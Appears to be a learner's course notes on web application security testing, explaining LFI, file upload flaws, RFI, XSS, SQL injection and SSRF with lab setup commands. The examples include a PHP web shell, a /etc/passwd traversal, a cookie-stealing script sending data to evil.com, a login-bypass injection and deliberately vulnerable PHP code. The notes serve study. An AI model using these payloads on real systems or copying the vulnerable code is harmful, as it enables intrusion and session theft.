Practical Web Application Security and Testing

---

https://github.com/mttaggart/pwst-resources

---

---

ssh abhijeet-kumar@<IP_UBUNTU>

ssh abhijeet-kumar@pentest-lab

---

Web Application Concepts

server - where the web application leaves

client - the user which requests the webapplication or website

---

• Over here we setup our docker to pull nginx and then in our kali machine we curl it out.

• We saw the HTML page over there but on the other hand the page which dosen't exist throws a 404 Not Found Error !

• But on the other hand while using netcat nc pentest-lab 80
• It throws the HEADER which was not thrown out by the curl
• 304 is the cache content

docker container ls

docker container prune > To clean the docker

---

HTTP

curl is the get request

If i need to use the post request : we need to perform → curl -X POST

---

The Web Trinity

cd code . (to open vs code in the current directory)

Need to clone the repository for this section as we are going to learn about HTML, CSS, JS

HTML Reference

W3Schools.com

---

We are now into > Downloading the Important Extensions

We have setup ZAP which I can say does works like burp suit

---

Server-Side Webapps

PHP

Command to check if Docker is running:

docker container ls > To check what all services are running docker container stop > To stop that container

ctrl + f5 to reset the cache

We got an example for XSS > So what ever we put on the web is displayed on the website this vul could be exploited.

---

Server Side Security Considerations

LFI

What is LFI?

LFI (Local File Inclusion) is a vulnerability that happens when a web application lets users choose a file to load, but doesn't properly check or sanitize the input. This can allow attackers to include (read) files from the server—like system files or secret configuration files.

How it works:

A website might have a URL like this:

http://example.com/page.php?file=about.html

The code behind it might look like:

<?php
  include($_GET['file']);
?>

If there's no input validation, an attacker can do this:

http://example.com/page.php?file=../../../../etc/passwd

🔓 This tries to read the Linux system file /etc/passwd, which contains user info.

---

Upload File Vulnerability

What is a File Upload Vulnerability?

A File Upload Vulnerability happens when a website lets users upload files (like images or documents) but doesn't properly check what's being uploaded.

This can let attackers upload malicious files like:

• A script (.php, .jsp, .aspx, etc.) that runs code on the server
• A shell to get full control of the server

How it works:

Imagine a site has an upload form:

<form action="upload.php" method="post" enctype="multipart/form-data">
  <input type="file" name="file">
  <input type="submit">
</form>

And the server-side code (badly written) does something like:

<?php
move_uploaded_file($_FILES['file']['tmp_name'], "uploads/" . $_FILES['file']['name']);
?>

If there's no file type check, an attacker can upload a file like:

shell.php

With contents:

<?php system($_GET['cmd']); ?>

Then, they access it like this:

http://example.com/uploads/shell.php?cmd=whoami

🔓 The server will run the whoami command and return the output!

---

Remote File Inclusion

What is RFI?

RFI (Remote File Inclusion) is a vulnerability that allows an attacker to make a web application load a file from another server (remote location).

It usually happens when a website includes files based on user input, and the developer doesn't restrict it to local files only.

How it works:

Let's say the URL is:

http://example.com/page.php?file=home

And the code behind it is:

<?php
  include($_GET['file'] . ".php");
?>

If there's no restriction, an attacker could do this:

http://example.com/page.php?file=http://evil.com/shell

📂 The vulnerable server will download and run the file from http://evil.com/shell.php.

That remote file might contain:

<?php system($_GET['cmd']); ?>

🔓 Now the attacker can do:

http://example.com/page.php?file=http://evil.com/shell&cmd=ls

It will run the ls command on the vulnerable server.

---

Difference between RFI and LFI:

LFI (Local File Inclusion)	RFI (Remote File Inclusion)
Loads files from local server	Loads files from external (remote) servers
Example: ../../etc/passwd	Example: http://evil.com/shell.txt
Often used to read sensitive files	Often used to execute malicious scripts

---

Cross-Site Scripting

What is XSS?

XSS (Cross-Site Scripting) is a vulnerability where an attacker injects malicious JavaScript into a website, which then runs in other users' browsers.

This can let the attacker:

• Steal cookies or session tokens
• Trick users with fake forms (phishing)
• Redirect users to malicious sites
• Perform actions as the user (e.g., like, comment, send messages)

How it works:

Let's say a website lets users post comments, and displays them like this:

echo $_GET['comment'];

Now someone visits:

http://example.com/page.php?comment=<script>alert('Hacked!')</script>

If not filtered properly, the browser executes that JavaScript.

🔔 Result: A popup saying "Hacked!" appears — this is a basic XSS attack.

---

Real-World Example:

Let's say you post this as a comment:

<script>document.location='http://evil.com/steal?cookie='+document.cookie</script>

📦 When others view the comment, their session cookie is sent to the attacker's server — letting the attacker hijack their session.

---

Types of XSS:

1. Stored XSS – Script is saved on the site (e.g., in comments, forums).
2. Reflected XSS – Script comes from the URL and is reflected back (e.g., in search results).
3. DOM-based XSS – Script is triggered by client-side JS (e.g., modifying the page using JavaScript from URL/hash).

---

Database Injection

What is SQL Injection?

SQL Injection happens when an attacker puts malicious SQL code into a website input (like a form or URL), and the website passes it directly to the database without checking.

This can allow the attacker to:

• Read sensitive data (like usernames and passwords)
• Bypass logins
• Modify or delete database contents
• Sometimes even gain full control of the server

How it works:

Let's say there's a login form:

<form method="POST" action="login.php">
  Username: <input name="username">
  Password: <input name="password" type="password">
</form>

And the backend code does this:

$query = "SELECT * FROM users WHERE username = '$_POST[username]' AND password = '$_POST[password]'";

If the user types:

• Username: admin
• Password: ' OR '1'='1

👉 The final query becomes:

SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'='1'

🧨 Because '1'='1' is always true, this bypasses the password check, and the attacker logs in as admin!

---

Server-Side Request Forgery

What is SSRF?

SSRF (Server-Side Request Forgery) is a vulnerability where an attacker tricks the server into making a request to another server, often one that the attacker chooses.

This can allow the attacker to:

• Access internal systems (like localhost, 127.0.0.1)
• Read sensitive metadata (in cloud environments like AWS)
• Scan internal networks
• Bypass firewalls

How it works:

Let's say a website lets users fetch a profile picture from a URL, like this:

http://example.com/fetch.php?url=https://example.org/pic.jpg

Behind the scenes, the server does:

$file = file_get_contents($_GET['url']);

If there's no restriction, an attacker can change the URL to:

http://example.com/fetch.php?url=http://127.0.0.1:80

📡 Now the server itself sends a request to localhost!

---

DVWA stands for Damn Vulnerable Web App, and it's a web application designed to be intentionally vulnerable. It's used for education and security professionals to practice penetration testing, test security tools, and understand web application vulnerabilities. DVWA is built with PHP and MySQL, making it a good environment for learning how to exploit various web application vulnerabilities.

---

DVWA